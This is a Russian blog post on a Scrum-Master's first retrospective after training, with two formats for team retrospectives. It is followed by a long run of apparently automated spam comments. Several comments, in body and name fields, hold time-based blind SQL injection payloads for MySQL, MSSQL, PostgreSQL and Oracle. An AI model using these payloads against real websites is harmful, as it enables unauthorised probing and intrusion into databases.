Обычно после тренинга я рассылаю участникам литературу и фотографии плакатов.
Недавно в ответ я получил несколько писем с описанием того, что происходит в командах Скрам-мастеров после тренинга.
Вот одно из них:
Настроение отличное! После тренинга я ещё подрзарядился энергией!
Сегодня важно было сдерживать себя, чтобы не начать применять все нововведения сразу и не спросив команду.
Провели первую ретроспективу по рекомендациям Алексея. Раньше я был уверен, что у нас в команде нет инициативы и идей. А всё потому, что раньше ретроспективу я проводил в формате: «У кого есть идеи, что можно улучшить? Ни у кого? Ну тогда я расскажу…».
Сегодня же я в начале встречи попросил каждого перечислить, что у нас хорошо.
Потом каждого – что плохо (всё фиксировалось на доске).
Потом мы голосованием выбрали две самые важные проблемы на текущий момент и подумали вместе о путях их решения.
Принятые решения занесли в ToDo List на новый спринт.
Я и подумать не мог, что команда видит столько важных проблем и интересных решений, о которых я и не подозревал!
Ещё один интересный побочный эффект – я понял, что присутствие заказчика на ретро совсем не страшно. Просто раньше я угрюмо признавался, что не всё хорошо и предлагал, что делать (в основном – уменьшать Velocity), а Product Owner сидел и хмурился. Сегодня же напряжение мигом снялось, когда он понял, что команде не всё равно и у неё есть идеи, что можно улучшить.
Антон Кан, участник тренинга Certified Scrum-Master, Минск
Начать изменять процесс с ретроспективы – это отличная идея.
Это намного лучше, чем прийти и сказать: “Так, я был на тренинге, вот мой сертификат, теперь у нас будет полный Скрам”.
Ведь ключевой идеей Скрам-мастерства является активация команды и помощь им в принятии ответственности за построение удобного и эффективного процесса разработки.
Ретроспективы можно делать тематическими. Например, после CSM вся ваша ретро может быть посвящена осознанию вашего процесса.
ВАРИАНТ 1:
Вы можете предложить участникам перечислить все проектные практики и поделить их на три категории:
- продолжать делать;
- прекратить делать;
- начать делать.
Это будет хорошим разогревом для дискуссии о том, что, как и зачем мы хотим изменить.
ВАРИАНТ 2:
Вы можете предложить участникам нарисовать ваш процесс, а на рисунке отметить те части процесса, которые даются со скрипом.
Это даст почву для дискуссий и том, на какие части процесса мы хотим обратить внимание и передизайнить их.
И КСТАТИ!
Если перед встречей с командой (или перед самой ретроспективой) вам немного страшно – это хороший знак. Значит вы собираетесь сделать то, чего раньше не делали.
Не забудьте в этом признаться команде и попросить о помощи!
Статья переопубликована с http://scrum.com.ua
Write a comment
ZMskyuza (Wednesday, 26 October 2022 17:20)
20
ZMskyuza (Wednesday, 26 October 2022 19:20)
20
ZMskyuza (Wednesday, 26 October 2022 21:08)
20
ZMskyuza (Wednesday, 26 October 2022 21:09)
20
ZMskyuza (Wednesday, 26 October 2022 21:10)
20
ZMskyuza (Wednesday, 26 October 2022 21:11)
20
ZMskyuza (Wednesday, 26 October 2022 21:11)
20
ZMskyuza (Wednesday, 26 October 2022 21:12)
20
ZMskyuza (Wednesday, 26 October 2022 21:13)
20
ZMskyuza (Wednesday, 26 October 2022 21:14)
20
ZMskyuza (Wednesday, 26 October 2022 21:15)
20
ZMskyuza (Wednesday, 26 October 2022 21:16)
20
ZMskyuza (Wednesday, 26 October 2022 21:17)
20
ZMskyuza (Wednesday, 26 October 2022 21:18)
20
ZMskyuza (Wednesday, 26 October 2022 21:19)
20
ZMskyuza (Wednesday, 26 October 2022 21:20)
20
ZMskyuza (Wednesday, 26 October 2022 21:20)
20
ZMskyuza (Wednesday, 26 October 2022 21:21)
20
ZMskyuza (Wednesday, 26 October 2022 21:22)
20
ZMskyuza (Wednesday, 26 October 2022 21:23)
20
ZMskyuza (Wednesday, 26 October 2022 21:24)
20
ZMskyuza (Wednesday, 26 October 2022 21:25)
if(now()=sysdate(),sleep(15),0)
ZMskyuza (Wednesday, 26 October 2022 21:26)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ZMskyuza (Wednesday, 26 October 2022 21:27)
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ZMskyuza (Wednesday, 26 October 2022 21:28)
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ZMskyuza (Wednesday, 26 October 2022 21:29)
-1; waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 21:29)
-1); waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 21:30)
1 waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 21:31)
UgpYmC3Z'; waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 21:32)
-5 OR 528=(SELECT 528 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 21:33)
-5) OR 101=(SELECT 101 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 21:34)
-1)) OR 498=(SELECT 498 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 21:34)
75QgnweW' OR 358=(SELECT 358 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 21:35)
lacE6Gzz') OR 510=(SELECT 510 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 21:36)
7MxHfyqS')) OR 406=(SELECT 406 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 21:37)
20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ZMskyuza (Wednesday, 26 October 2022 21:38)
20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ZMskyuza (Wednesday, 26 October 2022 21:39)
20
ZMskyuza (Wednesday, 26 October 2022 21:39)
20
ZMskyuza (Wednesday, 26 October 2022 21:40)
20
ZMskyuza (Wednesday, 26 October 2022 21:41)
20
ZMskyuza (Wednesday, 26 October 2022 21:42)
20
ZMskyuza (Wednesday, 26 October 2022 21:43)
20
ZMskyuza (Wednesday, 26 October 2022 21:44)
20
ZMskyuza (Wednesday, 26 October 2022 21:45)
20
ZMskyuza (Wednesday, 26 October 2022 21:46)
20
ZMskyuza (Wednesday, 26 October 2022 21:46)
20
ZMskyuza (Wednesday, 26 October 2022 21:47)
20
ZMskyuza (Wednesday, 26 October 2022 21:48)
20
ZMskyuza (Wednesday, 26 October 2022 21:49)
20
ZMskyuza (Wednesday, 26 October 2022 21:50)
20
ZMskyuza (Wednesday, 26 October 2022 21:51)
20
ZMskyuza (Wednesday, 26 October 2022 21:52)
20
ZMskyuza (Wednesday, 26 October 2022 21:52)
20
ZMskyuza (Wednesday, 26 October 2022 21:53)
20
ZMskyuza (Wednesday, 26 October 2022 21:54)
20
ZMskyuza (Wednesday, 26 October 2022 21:55)
20
ZMskyuza (Wednesday, 26 October 2022 21:55)
20
ZMskyuza (Wednesday, 26 October 2022 21:56)
20
ZMskyuza (Wednesday, 26 October 2022 21:57)
20
ZMskyuza (Wednesday, 26 October 2022 21:57)
20
ZMskyuza (Wednesday, 26 October 2022 21:58)
20
ZMskyuza (Wednesday, 26 October 2022 21:59)
20
ZMskyuza (Wednesday, 26 October 2022 22:00)
20
ZMskyuza (Wednesday, 26 October 2022 22:01)
20
ZMskyuza (Wednesday, 26 October 2022 22:02)
20
ZMskyuza (Wednesday, 26 October 2022 22:02)
20
ZMskyuza (Wednesday, 26 October 2022 22:03)
20
ZMskyuza (Wednesday, 26 October 2022 22:04)
20
ZMskyuza (Wednesday, 26 October 2022 22:17)
20
ZMskyuza (Wednesday, 26 October 2022 22:18)
20
if(now()=sysdate(),sleep(15),0) (Wednesday, 26 October 2022 22:19)
20
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z (Wednesday, 26 October 2022 22:20)
20
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z (Wednesday, 26 October 2022 22:21)
20
1 waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 22:23)
20
d11eLjiE'; waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 22:23)
20
010z643E' OR 189=(SELECT 189 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 22:24)
20
FCnJRbO1') OR 453=(SELECT 453 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 22:25)
20
kDItnB4y')) OR 770=(SELECT 770 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 22:26)
20
ZMskyuza'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' (Wednesday, 26 October 2022 22:26)
20
ZMskyuza (Wednesday, 26 October 2022 22:27)
20
ZMskyuza (Wednesday, 26 October 2022 22:28)
20
ZMskyuza (Wednesday, 26 October 2022 22:28)
20
ZMskyuza (Wednesday, 26 October 2022 22:29)
20
ZMskyuza (Wednesday, 26 October 2022 22:30)
20
ZMskyuza (Wednesday, 26 October 2022 22:31)
20
ZMskyuza (Wednesday, 26 October 2022 22:31)
20
ZMskyuza (Wednesday, 26 October 2022 22:32)
20
ZMskyuza (Wednesday, 26 October 2022 22:33)
20
ZMskyuza (Wednesday, 26 October 2022 22:34)
20
ZMskyuza (Wednesday, 26 October 2022 22:34)
20
ZMskyuza (Wednesday, 26 October 2022 22:35)
20
ZMskyuza (Wednesday, 26 October 2022 22:36)
20
ZMskyuza (Wednesday, 26 October 2022 22:36)
20
ZMskyuza (Wednesday, 26 October 2022 22:37)
20
ZMskyuza (Wednesday, 26 October 2022 22:38)
20
ZMskyuza (Wednesday, 26 October 2022 22:39)
20
ZMskyuza (Wednesday, 26 October 2022 22:39)
20
ZMskyuza (Wednesday, 26 October 2022 22:40)
20
ZMskyuza (Wednesday, 26 October 2022 22:41)
20
ZMskyuza (Wednesday, 26 October 2022 22:42)
20
ZMskyuza (Wednesday, 26 October 2022 22:42)
20
ZMskyuza (Wednesday, 26 October 2022 22:43)
20
ZMskyuza (Wednesday, 26 October 2022 22:44)
20
ZMskyuza (Wednesday, 26 October 2022 22:45)
20
ZMskyuza (Wednesday, 26 October 2022 22:45)
20
ZMskyuza (Wednesday, 26 October 2022 22:46)
20
ZMskyuza (Wednesday, 26 October 2022 22:47)
20
ZMskyuza (Wednesday, 26 October 2022 22:47)
20
ZMskyuza (Wednesday, 26 October 2022 22:48)
20
ZMskyuza (Wednesday, 26 October 2022 22:49)
20
ZMskyuza (Wednesday, 26 October 2022 22:50)
20
ZMskyuza (Wednesday, 26 October 2022 22:50)
20
ZMskyuza (Wednesday, 26 October 2022 22:51)
20
ZMskyuza (Wednesday, 26 October 2022 22:52)
20
ZMskyuza (Wednesday, 26 October 2022 22:53)
20
ZMskyuza (Wednesday, 26 October 2022 22:53)
20
ZMskyuza (Wednesday, 26 October 2022 22:54)
20
ZMskyuza (Wednesday, 26 October 2022 22:55)
20
ZMskyuza (Wednesday, 26 October 2022 22:56)
20
ZMskyuza (Wednesday, 26 October 2022 22:56)
20
ZMskyuza (Wednesday, 26 October 2022 22:57)
20
ZMskyuza (Wednesday, 26 October 2022 22:58)
20
ZMskyuza (Wednesday, 26 October 2022 22:58)
20
ZMskyuza (Wednesday, 26 October 2022 22:59)
20
ZMskyuza (Wednesday, 26 October 2022 23:00)
20
ZMskyuza (Wednesday, 26 October 2022 23:00)
20
ZMskyuza (Wednesday, 26 October 2022 23:01)
20
ZMskyuza (Wednesday, 26 October 2022 23:06)
20
ZMskyuza (Thursday, 27 October 2022 01:20)
20
ZMskyuza (Thursday, 27 October 2022 02:04)
20